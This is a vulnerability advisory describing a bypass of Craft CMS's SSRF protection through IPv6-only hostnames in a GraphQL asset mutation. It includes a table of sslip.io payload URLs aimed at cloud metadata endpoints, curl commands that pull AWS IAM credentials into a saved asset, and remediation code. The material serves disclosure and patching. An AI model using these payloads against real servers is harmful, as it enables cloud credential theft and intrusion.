Server-side request forgery (SSRF) In craftcms/cms
Description
Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution
The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.
This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).
Required Permissions
Exploitation requires GraphQL schema permissions for:
Edit assets in the <VolumeName> volume
Create assets in the <VolumeName> volume
These permissions may be granted to:
Authenticated users with appropriate GraphQL schema access
Public Schema (if misconfigured with write permissions)
Technical Details
Root Cause
From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"
When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.
Bypass Mechanism
+-----------------------------------------------------------------------------+ | Step 1: Attacker provides URL | | http://fd00-ec2--254.sslip.io/latest/meta-data/ | +-----------------------------------------------------------------------------+ | Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') | | -> No A record exists | | -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) | +-----------------------------------------------------------------------------+...
Bypass Payloads
Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents
Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|---|---|---|---|
AWS EC2 IMDS | 169.254.169.254 | fd00:ec2::254 | http://fd00-ec2--254.sslip.io/ |
AWS ECS | 169.254.170.2 | fd00:ec2::254 (via IMDS) | http://fd00-ec2--254.sslip.io/ |
Google Cloud GCP | 169.254.169.254 | fd20:ce::254 | http://fd20-ce--254.sslip.io/ |
Azure | 169.254.169.254 | No IPv6 endpoint | N/A |
Alibaba Cloud | 100.100.100.200 | No documented IPv6 | N/A |
Oracle Cloud | 192.0.0.192 | No documented IPv6 | N/A |
Additional IPv6 Internal Service Bypass Payloads
Target | IPv6 Address | Bypass Payload |
|---|---|---|
IPv6 Loopback | ::1 | http://0-0-0-0-0-0-0-1.sslip.io/ |
AWS NTP Service | fd00:ec2::123 | http://fd00-ec2--123.sslip.io/ |
AWS DNS Service | fd00:ec2::253 | http://fd00-ec2--253.sslip.io/ |
IPv4-mapped IPv6 | ::ffff:169.254.169.254 | http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |
Steps to Reproduce
Step 1: Verify DNS Resolution
# Verify the hostname has no IPv4 record (what gethostbyname sees) $ dig fd00-ec2--254.sslip.io A +short # Verify the hostname has IPv6 record (what Guzzle/curl uses) $ dig fd00-ec2--254.sslip.io AAAA +short fd00:ec2::254
Step 2: Enumerate AWS IAM Role Name
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \ -d '{ "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }" }'
Step 3: Retrieve AWS Credentials
# Replace ROLE_NAME with the role discovered in Step 2 curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \ -d '{ "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }" }'
Step 4: Access Saved Credentials
The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).
Attack Scenario
Attacker finds Craft CMS instance with GraphQL asset mutations enabled
Attacker sends mutation with url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"
Error message or saved file reveals IAM role name
Attacker retrieves credentials via second mutation
Attacker uses credentials to access AWS services
Attacker can now achieve code execution by creating new EC2 instances with their SSH key
Remediation
Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:
// Resolve both IPv4 and IPv6 addresses $records = @dns_get_record($hostname, DNS_A | DNS_AAAA); if ($records === false) { $records = []; } // Blocked IPv6 metadata prefixes $blockedIPv6Prefixes = [...
Additional Mitigations
Mitigation | Description |
|---|---|
Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
Use dns_get_record() | Resolves both IPv4 and IPv6 |
Resources
https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
PHP: gethostbyname - "Get the IPv4 address corresponding to a given Internet host name"
GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437)
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
packagist | 5.8.23, 4.16.19 |
Aliases
References